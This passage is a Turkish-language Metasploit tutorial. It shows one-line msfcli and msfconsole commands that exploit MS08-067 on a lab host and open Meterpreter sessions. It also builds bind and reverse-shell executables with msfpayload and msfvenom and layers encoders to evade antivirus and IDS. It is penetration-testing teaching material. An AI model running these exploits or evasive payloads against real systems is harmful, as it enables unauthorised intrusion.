Metasploit Detay Bilgiler | ||||||||||||||||||||
Bu makalede metasploit ile alakalı konu zincirinde artık paylaşmayı planladığım tamamlayıcı son notlara yer verilecektir. Konu zincirine baştan başlamamış arkadaşlar için sıralama şu şekildedir:
Bu makalede sizlerle Metasploit Framework arayüzü msfconsole'un yan araçlarından olan msfcli tool'u, msfpayload tool'u, msfencode tool'u ve msfvenom tool'u paylaşılacaktır. Bunun yanısıra bakış açınızı genişletecek bazı ekstra bilgiler de paylaşılacaktır. a. MsfcliMsfconsole tool'unun yan tool'larından biri olan msfcli (yani msf client) msfconsole arayüzünde satır satır yaptığınız işlemleri tek satırda yapmanızı sağlayan bir araçtır. Örneğin Metasploit ile Bir Sızma Uygulaması (ms08-067) yazısında msfconsole tool'u kullanılmıştı ve şöyle satır satır kodlamalar yaparak hedef sisteme sızmıştık:Kali Linux Terminal: msf > use exploit/windows/smb/ms08_067_netapi msf (ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp msf (ms08_067_netapi) > set LHOST X.X.X.X // Kali Linux IP msf (ms08_067_netapi) > set RHOST X.X.X.X // WindowsXP IP msf (ms08_067_netapi) > exploit // Modül çalıştırılır. meterpreter > (((( Sisteme girdik )))) Tüm bu satır satır yapılan işlemlerin tek satırda halledilmesi gereği duyulabilir. Mesela elinize daha pratik geldiği için alışkanlık açısından buna gereksinim duyabilirsiniz ya da daha hayati bir sebep nedeniyle de olabilir. Misal bir ruby / python / perl script'i yazıyorsanız ve script'iniz içerisinde bir yerlerde metasploit framework'ünden yararlanıp hedef sistemde shell (komut satırı) oturumu almak gibi msfconsole'un kendine ait komutlarla gerçekleşecek işlemleri yapmak istiyorsanız script'iniz içerisinde msfconsole tool'unu handle edecek (uygun şekilde kullanacak) bir modül geliştirmeniz gerekecektir. Bu ise sizin için epey zahmetli ve zaman kaybına yol açıcı bir hal alabilir. Ancak eğer msfconsole'un tek satırlık bir formatı olursa ruby / python / perl script'inizin içerisine komut satırında komut çalıştırmaya yarayan standard fonksiyonlardan birini koyabilir ve bu komut çalıştıran standard fonksiyonun içerisine tek satırlık msfconsole türevi kodu koyarak büyük bir zahmetten kurtulabilirsiniz. Böylece pratik bir şekilde script'inizde kodlamaya devam edebilirsiniz. İşte bu v.b. gereksinimlerden dolayı msfcli tool'u geliştirilmiştir. msfcli tool'u msfconsolde yapılan tüm işlemleri yanyana parametre=arguman şeklinde alarak gerçekleştirmektedir. msfcli tool'unu tanımak için birkaç anahtar noktasından bahsedelim. Öncelikle msfcli şu şekilde bir kullanım biçimine sahiptir: Kullanım Dizilişi (Syntax'ı) : msfcli [exploitadi] [option=value] [mode] msfcli komutun adı, exploitadi kısmına msfconsole'da girdiğiniz exploit yolu ve ismi, option=value kısmına seçilen modülün konfigurasyon ayarları, son olarak da mode kısmına bu komut için uygulanacak nihai aksiyon gelir. Bir örnekle tüm bu japonca karakterleri andıran cümleyi anlamlandıralım: msfcli exploit/windows/smb/ms08_067_netapi RHOST=172.16.3.120 RPORT=445 PAYLOAD=windows/meterpreter/bind_tcp LHOST=172.16.3.118 O // Sondaki (O)ptions'ın baş harfi "O"dur. Sıfır değildir! Görüldüğü üzere komut adından sonra ilk olarak exploit yolu ve ismi geldi, ardından exploit seçildikten sonra msfconsole'da set komutuyla değer atadığımız parametreler gibi parametreIsmi=parametreDegeri ihtiyaç duyulduğu kadar sırasıyla yerleştirildi. En sonunda ise mod olarak msfconsole'da show options'a karşılık gelen msfcli'da (O)ptions olarak kabul gören (O)ptions'ın baş harfi kondu. Böylece tahmin edebileceğiniz üzere exploit seçildiği için ve parametrelerine değerler atandığı için en nihayetinde msfconsole'da show options ile ne gelecekse şimdi de o gelecektir. Yani seçilen modül ve modülün parametrelerine atanılan değerlerin bilgisi ekrana gelecektir:
Çıktı:
[*] Please wait while we load the module tree... Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 172.16.3.120 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST 172.16.3.120 no The target address Görüldüğü üzere parametrelere verdiğimiz arguman değerlerini çıktı olarak ekranda görüntülemekteyiz. Bu sayede yanlış bir değer ataması var mı kontrolü yapabilirsiniz. msfcli tool'u (O)ptions modu gibi msfconsole'da yapılabilen tüm aksiyonlara karşılık gelecek modlara sahiptir. Bunlar şu şekildedir:
Msfcli Modları :
Modlar Yaptığı İş --------------- ------------------- (H)elp Yardım menüsünün görüntülenmesini sağlar. (S)ummary Belirtilen exploit hakkında detaylı bilgi verir (Msfconsole'daki info'dur). (O)ptions Belirtilen exploit'in set edilecek değişkenlerini sunar. (Msf'deki show options) (A)dvanced Berlitilen exploit için ilgili tüm değişkenleri sunar. (Msf'deki show advanced) (I)DS Evasion IDS'lere yakalanmamak için ayarlanabilecek değişkenleri sunar. (P)ayloads Belirtilen exploit'le uyumlu tüm payload'ları sunar. (T)argets Berlitilen exploit'in işe yaradığı işletim sistemlerini sunar. (AC)tions Berlirtilen exploit ile kullanılabilecek auxiliary'leri sunar. (C)heck Belirtilen exploit'in hedef sistemde işe yarayıp yaramayacağını tespit eder. (E)xecute Belirtilen exploit'i çalıştırır. Bu modların parantez içerisine alınan harfleri msfcli'nin aldığı parametre ve değerlerinin en sonuna konur ve böylece msfcli aldığı argumanlar (seçilen modül ve ayarlamalar) neticesinde belirtilen modun işlevini yerine getirir. Şimdi az önce oluşturduğumuz msfcli komutunu bu sefer (E)xecute moduyla deneyelim. Kali Linux Terminal: msfcli exploit/windows/smb/ms08_067_netapi RHOST=172.16.3.120 RPORT=445 PAYLOAD=windows/meterpreter/bind_tcp LHOST=172.16.3.118 E // (E)xecute'un E'si ile modül çalıştırılır. Çıktı: [*] Please wait while we load the module tree... Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f EFLAGS: 00010046 eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001 esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60 ds: 0018 es: 0018 ss: 0018 Process Swapper (Pid: 0, process nr: 0, stackpage=80377000) Stack: 90909090990909090990909090 90909090990909090990909090 90909090.90909090.90909090 90909090.90909090.90909090 90909090.90909090.09090900 90909090.90909090.09090900 .......................... cccccccccccccccccccccccccc cccccccccccccccccccccccccc ccccccccc................. cccccccccccccccccccccccccc cccccccccccccccccccccccccc .................ccccccccc cccccccccccccccccccccccccc cccccccccccccccccccccccccc .......................... ffffffffffffffffffffffffff ffffffff.................. ffffffffffffffffffffffffff ffffffff.................. ffffffff.................. ffffffff.................. Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00 Aiee, Killing Interrupt handler Kernel panic: Attempted to kill the idle task! In swapper task - not syncing Large pentest? List, sort, group, tag and search your hosts and services in Metasploit Pro -- type 'go_pro' to launch it now. =[ metasploit v4.6.0-dev [core:4.6 api:1.0] + -- --=[ 1060 exploits - 659 auxiliary - 178 post + -- --=[ 275 payloads - 28 encoders - 8 nops RHOST => 172.16.3.120 RPORT => 445 PAYLOAD => windows/meterpreter/bind_tcp LHOST => 172.16.3.118 [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 2 - lang:Turkish [*] Selected Target: Windows XP SP2 Turkish (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 172.16.3.120 [*] Meterpreter session 1 opened (172.16.3.118:49566 -> 172.16.3.120:4444) at 2018-10-21 02:02:11 -0700 meterpreter > (((((( İçerdeyiz )))))) Görüldüğü üzere msfcli'ı (E)xecute modunda çalıştırarak msfcli'a arguman olarak verdiğimiz modüllerin belirttiğimiz ayarlarda çalışmasını ve bunun sonucunda hedef sisteme sızılmasını sağlamış olduk. [!] UyarıMsfcli tool'u artık tedavülden kalkmıştır (deprecated olmuştur). Msfcli işlevini yerine getirmek için msfconsole ekstradan bünyesine tek satırda çalışma özelliğini dahil etmiştir. Dolayısıyla msfconsole tool'unda artık tek satırda modül seçme, modül konfigure etme ve çeşitli aksiyonlar alma işlemlerini -x parametresiyle yapabilmekteyiz. Msfcli'a olan desteğin çekilmesiyle msfcli'ın pabucu dama atılmış durumda. Ancak size msfcli'ı göstermemin bir amacı vardı. Aynı işi alternatif tool'ların nasıl yaptıklarını göstererek sizi linux tool'larına aşina kılmak ve linux dünyasında örtüşen noktaları görerek özümseyebileceğiniz kalıcı bir bilgi sunmaktı. En azından bu noktada bir nebze katkıda bulunmaktı.Şimdi tedavülden kalkmış (depreacated olmuş) msfcli tool'u yerine msfconsole'un tek satırda kullanımını gösterelim. Az önce msfcli'da kullandığımız örneği bu sefer msfconsole ve -x parametresine uyarlayalım: Kali Linux Terminal: msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/bind_tcp; set LHOST 172.16.3.73; show options" Görüldüğü üzere -x parametresi argüman olarak msfconsole'u normal başlattığımızda girdiğimiz komutları almaktadır. msfconsole'u bu haliyle çalıştırdığımızda aşağıdaki çıktı bizi karşılayacaktır. Çıktı: ______________________________________________________________________________ | | | 3Kom SuperHack II Logon | |______________________________________________________________________________| | | | | | | | User Name: [ security ] | | | | Password: [ ] | | | | | | | | [ OK ] | |______________________________________________________________________________| | | | https://metasploit.com | |______________________________________________________________________________| =[ metasploit v4.16.30-dev ] + -- --=[ 1722 exploits - 986 auxiliary - 300 post ] + -- --=[ 507 payloads - 40 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] RHOST => 172.16.3.120 RPORT => 445 PAYLOAD => windows/meterpreter/bind_tcp LHOST => 172.16.3.73 Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 172.16.3.120 yes The target address RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 172.16.3.120 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting Görüldüğü üzere -x parametresine verdiğimiz argümanlarla seçtiğimiz exploit ve payload'a tanımladığımız ayarlar ekrana geldi. Ekrana gelen çıktıdaki parametre değerlerini sorunsuz girdiğinizi teyit ettikten sonra -x parametresinin argumanındaki en son msfconsole komutu olan "show options"ı "exploit" ile değiştirerek hedef sisteme sızma girişiminde bulunabiliriz. Kali Linux Terminal: msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/bind_tcp; set LHOST 172.16.3.73; exploit" Çıktı: MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMM MMMN$ vMMMM MMMNl MMMMM MMMMM JMMMM MMMNl MMMMMMMN NMMMMMMM JMMMM MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMNM MMMMMMM MMMMM jMMMM MMMNI WMMMM MMMMMMM MMMM# JMMMM MMMMR ?MMNM MMMMM .dMMMM MMMMNm `?MMM MMMM` dMMMMM MMMMMMN ?MM MM? NMMMMMN MMMMMMMMNe JMMMMMNMMM MMMMMMMMMMNm, eMMMMMNMMNMM MMMMNNMNMMMMMNx MMMMMMNMMNMMNM MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM https://metasploit.com =[ metasploit v4.16.30-dev ] + -- --=[ 1722 exploits - 986 auxiliary - 300 post ] + -- --=[ 507 payloads - 40 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] RHOST => 172.16.3.120 RPORT => 445 PAYLOAD => windows/meterpreter/bind_tcp LHOST => 172.16.3.73 [*] Started bind handler [*] 172.16.3.120:445 - Automatically detecting the target... [*] 172.16.3.120:445 - Fingerprint: Windows XP - Service Pack 2 - lang:Turkish [*] 172.16.3.120:445 - Selected Target: Windows XP SP2 Turkish (NX) [*] 172.16.3.120:445 - Attempting to trigger the vulnerability... [*] Sending stage (179779 bytes) to 172.16.3.120 [*] Meterpreter session 1 opened (172.16.3.73:45889 -> 172.16.3.120:4444) at 2018-10-22 00:12:51 -0400 meterpreter > (((( İçerdeyiz )))) Görüldüğü üzere sisteme msfconsole'u tek satırda kullanarak girmiş bulunmaktayız. b. MsfpayloadMsfpayload, payload derlemeye (oluşturmaya) yarayan bir araçtır. Normalde metasploit'te bir exploit seçildiğinde ve buna bir payload ilave edildiğinde bunları hedef sisteme yollarken metasploit arkaplanda payload'u derleme işlemini yapmaktadır ve o derlenmiş halini hedef sisteme yollamaktadır.
Not:
Bazı payload'ların kaynak kodlarından derlenmiş haline shellcode adı verilmektedir. İşletim sistemlerinde shell demek işletim sistemi çekirdeğiyle birebir etkileşim halinde olduğunuz, "cd, dir, ls, pwd, uname -a, ..." gibi kodların çalıştırıldığı komut satırı oturumuna denir. Shellcode demek ise uzak sistemde komut satırı oturumu elde ettiren kodlara denir. Msfpayload tool'u metasploit'in arkaplanda yaptığı payload derleme işlemini sizin manuel olarak yapabilmenizi sağlayan bir arayüz sunar. Bu metoda kimi zaman gerek duyabilirsiniz. Çünkü elinize metasploit framework'de yer almayan bir exploit geçmiş olabilir ve siz hedef sisteme manuel olarak sızmak isteyebilirsiniz. Bu girişiminizi payload ile tamamlamak için de msfpayload gibi payload'ları kaynak kodundan derleyen bir araca ihtiyaç duyabilirsiniz. Derlenmemiş bir payload'u olduğu gibi hedef sisteme yollarsanız hedef sisteme bir tür proje kod dosyası göndermiş gibi olursunuz. Sizin hedef sistemde çalışabileceğini düşündüğünüz bir formatta dosya göndermeniz gerekir ki komut satırı oturumunu elde edebilesiniz. Bu v.b nedenlerden ötürü payload'ların derlenmesi gerekmektedir ve bu iş için msfpayload tool'u kullanılabilir. Not:
Windows'taki shell'e CMD (Command Prompt), Linux'takine ise örneğin BASH (Bourne Again Shell) denmektedir. Msfpayload ile birden fazla çeşitte payload derlemesi yapılabilmektedir. Örneğin; C, Perl, Ruby, Raw, Javascript, Visual Basic Script ve exe bunlardan sadece birkaçıdır. Payload derlemesi ve çıktısını alma konusunda bir konuya açıklık getirmekte fayda var: Payload'u msfpayload ile hangi formatta derlerseniz derleyin payload her defasında sadece ama sadece byte kodlara dönüşecektir. Ancak payload'un derlenmiş bu byte byte kodları belirtiğiniz çıktı formatındaki bir bloğun içerisine yerleştirileceğinden bu kodlar bir c dosyası içerisinde çalıştırılacak şekilde yer alabilir, bir Ruby dosyası içerisinde çalıştırılacak şekilde yer alabilir ya da bir Javascript dosyası içerisinde... Burada değişen tek şey wrapper formatıdır. Yani sarıcı format. Hedef sistemde çalışacağını umduğumuz formatı seçerek payload'unuzu hedef sisteme gönderebilirsiniz. Bu konuda biraz daha teknik detay vermek gerekirse payload'unuzdan dönüşen byte kodları seçilen formatın (dilin) syntax'ına uygun bir şekilde bir değişkene atanacaktır ve bu değişkenin değeri (yani payload'un byte kodları) kullanılan dilin standard bir fonksiyonu aracılığıyla çalıştırılacak şekilde ayarlanacaktır. Bu şekilde hedef sisteme örneğin sistem seviyesinde bir sızma girişimi yapılıyorsa seçeceğiniz Visual Basic Script formatındaki payload'unuz ile hedef sistemde payload'unuzu çalıştırabilirsiniz ya da web uygulama katmanında bir sızma girişimi yapıyorsanız Javascript formatındaki payload'unuz ile hedef sistemde payload'unuzu çalıştırabilirsiniz. Bu bahsedilen formatlar sadece birer payload'unuzu sarıcı (wrapper) bir işleve sahiptir. Bu şekilde payload'unuzu sızdığınız platforma uygun bir şekilde çalıştırılabilir halde gönderebilirsiniz. Aşağıda C dilinde (formatında) bir payload wrapper (payload sarıcı bir şablon) örneği görmektesiniz: #include <stdio.h> const char shellcode[] = "shellcode buraya gelir. Örn; \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5 ......."; int main(){ (*(void(*)()) shellcode)(); return 0; } Bu v.b. payload çıktıları almak için kullanılabilen msfpayload tool'unun kullanım biçimine şimdi bir gözatalım. Msfpayload Kullanım Dizilişi (Syntax'ı): msfpayload [options] [payload] [parametre=arguman] [ciktiFormati] msfpayload komutun adı, options msfpayload tool'unun argumanlarını (örn; -h (yani help), -l (yani list) gibi), payload payload'un ismini, parametre=arguman seçilen payload'un parametre ve atanacak değerlerini, ciktiFormati ise payload'un hangi dilde wrap edilerek (etraflıca sarılarak) çıktılanacağını belirtir. Şimdi bir de kullanım örneğini görelim. Kali Terminal: msfpayload -l Çıktı: Framework Payloads (275 total) ============================== Name Description ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell bsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/x86/exec Execute an arbitrary command bsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter bsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter bsd/x86/shell/bind_ipv6_tcp Listen for a connection over IPv6, Spawn a command ... ... Belirlediğimiz bir payload'un konfigure edilebilecek parametrelerini (ayarlarını) görelim. Kali Terminal: msfpayload windows/shell_bind_tcp O // Sondaki çıktı formatı değeri (O)ptions'ın baş harfidir. Çıktı: Name Current Setting Required Description --------- ---------------- --------- ---------------- EXITFUNC process yes Exit technique: seh, thread, process … LPORT 4444 yes The listen port RHOST no The target address Payload'un konfigure edilebilecek parametrelerine (ayarlarına) değerlerimizi atayalım ve bir kontrol edelim. Kali Terminal: msfpayload windows/shell_bind_tcp EXITFUNC=thread LPORT=1234 RHOST=222.168.33.41 O // (O)ptions'ın baş harfi çıktı formatı olarak verilmiştir Çıktı: Name Current Setting Required Description --------- ---------------- --------- ---------------- EXITFUNC thread yes Exit technique: seh, thread, process … LPORT 1234 yes The listen port RHOST 222.168.33.41 no The target address Gösterilen parametre atamalarında bir hata yapmadığımızı teyit ettikten sonra payload çıktılama işlemine geçelim. Kali Terminal: msfpayload windows/shell_bind_tcp EXITFUNC=thread LPORT=1234 RHOST=222.168.33.41 X // Çıktı formatı olarak exe belirtilmiştir. Çıktı: ((( Kargaşık burgaşık karakterler ekrana basılır )) Kali Terminal: msfpayload windows/shell_bind_tcp EXITFUNC=thread LPORT=1234 RHOST=222.168.33.41 X > virus.exe ls // ls (list) bulunulan dizindeki dosyaları sıralamaya yarar. Çıktı: Desktop deneme.pdf Documents virus.exe Artık payload gönderime hazır vaziyettedir. Msfpayload'da EXE gibi başka çıktılama formatları da mevcuttur. Bunlar; Çıktı Formatı Msfpayload'a Konulacak Harfi -------------------- ---------------------------- [O]ptions O [C] Dili C Cs[H]arp Dili H [P]erl Dili P Ruby[Y] Dili Y [R]aw (Ham) Hal R [J]avascript Dili J e[X]e Hali X [D]ll Hali D [V]isual Basic Dili V [W]ar Hali W Pytho[N] Dili N Böylelikle msfpayload kullanımını görmüş olduk. Bu formatlardan hedef sistemde çalışabileceğini umduğumuzu seçip payload'umuzu ona göre hazırlayarak hedefimize ulaşabiliriz. [!] UyarıMetasploit'in yan tool'u olan msfpayload tıpkı msfcli gibi artık tedavülden kalkmıştır (deprecated olmuştur). Metasploit geliştiricileri yola artık msfvenom tool'u ile devam etmektedir. Şimdi msfpayload ile yaptığımız işlemlerin aynısını bir de msfvenom ile yapalım. Öncelikle msfvenom kullanım biçimi;Msfvenom Kullanım Dizilişi (Syntax'ı): msfvenom [options] [parametre=arguman] [ciktiFormati] //Msfpayload daki [options] ve [payload] bölümleri options ın içinde toplanmıştır. Şimdi seri bir şekilde msfpayload'da yapılan işlemlerin aynısının msfvenom'daki karşılıklarına bakalım. Kali Terminal: msfvenom -l Çıktı: Framework Payloads (507 total) ============================== Name Description ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell ... ... ... ... Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder ... ... ... ... ... ... Framework NOPs (10 total) ========================= Name Description ---- ----------- aarch64/simple Simple NOP generator armle/simple Simple NOP generator mipsbe/better Better NOP generator php/generic Generates harmless padding for PHP scripts ppc/simple Simple NOP generator ... ... ... ... Kali Terminal: msfvenom -p windows/shell_bind_tcp --payload-options Not: Eski Kali'lerde (yani msfvenom'un eski versiyonlarında) payload seçeneklerini görüntülemek için --payload-options yerine sadece -o kullanılmaktadır: msfvenom -p payloadPath/payloadName -o Çıktı: Name Current Setting Required Description --------- ---------------- --------- ---------------- EXITFUNC process yes Exit technique: seh, thread, process … LPORT 4444 yes The listen port RHOST no The target address Kali Terminal: msfvenom -p windows/shell_bind_tcp EXITFUNC=thread LPORT=1234 RHOST=222.168.33.41 --payload-options Not: Msfvenom henüz payload'lara atanan değerleri tutma ve ekrana yansıtma özelliğine sahip değildir. Çıktı: Name Current Setting Required Description --------- ---------------- --------- ---------------- EXITFUNC thread yes Exit technique: seh, thread, process … LPORT 1234 yes The listen port RHOST 222.168.33.41 no The target address Kali Terminal: msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 RHOST=222.168.33.41 -a x86 --platform windows -f exe Çıktı: (( Ekrana kargaşık burgaşık karakterler gelir )) Kali Terminal: msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 RHOST=222.168.33.41 -a x86 --platform windows -f exe -o virus.exe ls Çıktı: Desktop deneme.pdf Documents virus.exe Böylece msfvenom ile tıpkı msfpayload'da yaptığımız gibi payload dosyamızı hazır hale getiririz. Msfvenom'un payload çıktılama formatlarından exe gibi desktelediği diğer formatlar ise şu şekildedir: Çıktı Formatı Msfvenom'a Konulma Şekli -------------------- ---------------------------- ASP Dili asp ASPX Dili aspx JSP Dili jsp Javascript Dili javascript DLL Hali dll Exe Hali exe Msi Hali msi Jar Hali jar War Hali war Bash Dili bash Powershell Dili powershell Visual Basic Script Dili vbscript C Dili c Csharp Dili csharp Java Dili java Bash Dili bash Perl Dili perl Ruby Dili ruby Python Dili python ... ... ... ... Böylelikle msfpayload'un devamı niteliğinde olan msfvenom'u görmüş olduk. c. MsfencodeMsfencode bir başka metasploit framework yan araçlarından biridir. Görevi belirtilen payload'u encode'lamaktır (kodlamak ve tanınmaz hale getirmektir). Bu sayede hedef sisteme gönderilecek payload'un hedef sistemdeki Firewall, IDS/IPS ya da antivirus yazılımlarca tanınıp engellenmesi önlenebilir. Şayet hedef sistemdeki güvenlik mekanizması payload'unuzdaki zararlı faaliyetleri tanımlayabilirse bloklayacağından saldırınız başarısız olacaktır.Msfencode ile payload'larınızı encode'layarak (kodlayarak) tanınmaz hale getirebilir, encode'lama sırasında oluşacak istenmeyen karakterleri silme işlemini otomatize bir şekilde gerçekleştirebilir veya 64-bit sistemlere uygun bir encode'lamada bulunabilirsiniz. Msfencode ile bir payload'u üst üste defalarca aynı ya da farklı encode'lama teknikleriyle encode'layabilirsiniz. Metasploit Framework arayüzü msfconsole'da bir exploit seçip üzerine payload ilave ettiğinizde ve hedef sisteme exploit komutuyla gönderdiğinizde msfconsole arkaplanda payload'unuzu hedef sisteme göre başarı şansı en yüksek encoder'la kodlamaktadır. Msfencode ise size payload'u encode'lama işini manuel yapmanıza olanak sağlayan bir arayüz sunar. Msfencode aracının kullanım biçimi şu şekildedir: Kullanım Dizilişi (Syntax'ı) : msfencode [options] msfencode komutun adı, options msfencode tool'unun parametre ve değerlerini alır. Msfencode'un kullanabileceği yüklü encoder'ları (kodlayıcıları) listelemek için -l parametresi kullanılır. Kali Linux Terminal: msfencode -l Çıktı: Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command cmd/printf_php_mq manual printf(1) via PHP magic_quotes generic/none normal The "none" Encoder mipsbe/longxor normal XOR Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload x86/context_stat manual stat(2)-based Context Keyed Payload x86/context_time manual time(2)-based Context Keyed Payload x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase x86/unicode_upper manual Alpha2 Alphanumeric Unicode Msfpayload ile oluşturulan bir payload'u msfencode ile encode'lama örneği aşağıda verilmiştir. Kali Linux Terminal: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai -t exe -o /root/Desktop/payload.exe Çıktı: [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) Yukarıdaki kod satırını anlamlandıracak olursak önce msfpayload aracı meterpreter payload'unu Raw formatında oluşturur. Ardından bir linux komut satırı operatörü olan | (yani pipe (boru)) ile soldaki komutun çıktısı sağdaki komuta gönderilir. Sağdaki komut olan msfencode, -e parametresiyle (e)ncode metodunun ismini (örn; shikata_ga_nai'yi) alır, -t parametresi ile encoding işlemi sonrası tanınmaz payload dosyasının çıktı formatının ne olacağı bilgisini alır, son olarak -o parametresi ile de çıktı dosyasının ismini alır. Böylece oluşturduğumuz payload'u encode'lanmış bir şekilde elde etmiş oluruz. Peki, yukarıdaki örnekte msfpayload ile oluşturduğumuz payload'umuzu bir defaya mahsus bir şekilde encode'lamaya tabi tuttuk. Oluşturulan bu payload'u birden fazla encoder ile üst üste kodlamak isteyeseydik ne yapardık? Hemen o örneğe bir gözatalım. Kali Linux Terminal: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e x86/alpha_upper -t raw | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e x86/countdown -t exe -o payload.exe Çıktı: [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) [*] x86/alpha_upper succeeded with size 701 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 728 (iteration=1) [*] x86/countdown succeeded with size 746 (iteration=1) Yukarıdaki kodlamada önce msfpayload ile payload'umuzu oluşturduk. Sonra | (pipe) operatörü ile payload'umuzun content'ini (içeriğini) | operatörünün sağındaki msfencode'a gönderdik. Msfencode bu payload içeriğini shikata_ga_nai ile encode'ladı ve Raw formatında bir çıktı sundu. Bu çıktı yine | (pipe) operatörü ile sağdaki diğer msfencode'a geçti. Bu msfencode gelen payload içeriğini alpha_upper ile encode'ladı. Bir sonraki msfencode bir önceki msfencode'un ürettiği çıktıyı alıp shikata _ga_nai ile encode'lama yaptı. Son olarak bu çıktıyı alan dördüncü msfencode countdown ile gelen payload içeriğini encode'ladı. Sonuç olarak üst üste encoding metodlarıyla bir payload'u encode'lamış ve tanınmaz hale getirmiş olduk. Oluşturulan bir payload'u aynı encoding metoduyla üst üste encode'lamak istersek yukarıdaki örnekte yer alan msfencode'lara aynı encoder ismini vermek yeterlidir. Bunun yerine daha pratik bir çözüm de kullanabilirsiniz: Kali Linux Terminal: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o payload.exe Çıktı: [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 398 (iteration=4) [*] x86/shikata_ga_nai succeeded with size 425 (iteration=5) -c parametresi ile aynı encoding (kodlama) metodunun kaç kez tekrarlanacağı sayısı belirtilebilir. Bu, bir nevi iterasyon sayısını temsil eder. Bu şekilde yukarıdaki örnekte -c 5 ile aynı encoding metodu 5 kez üst üste payload'u kodlamış oldu. Son olarak hem birden fazla encoder ile kodlama hem de bu encoder'ların her birini defalarca tekrarlama örneğini gösterelim. Kali Linux Terminal: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e 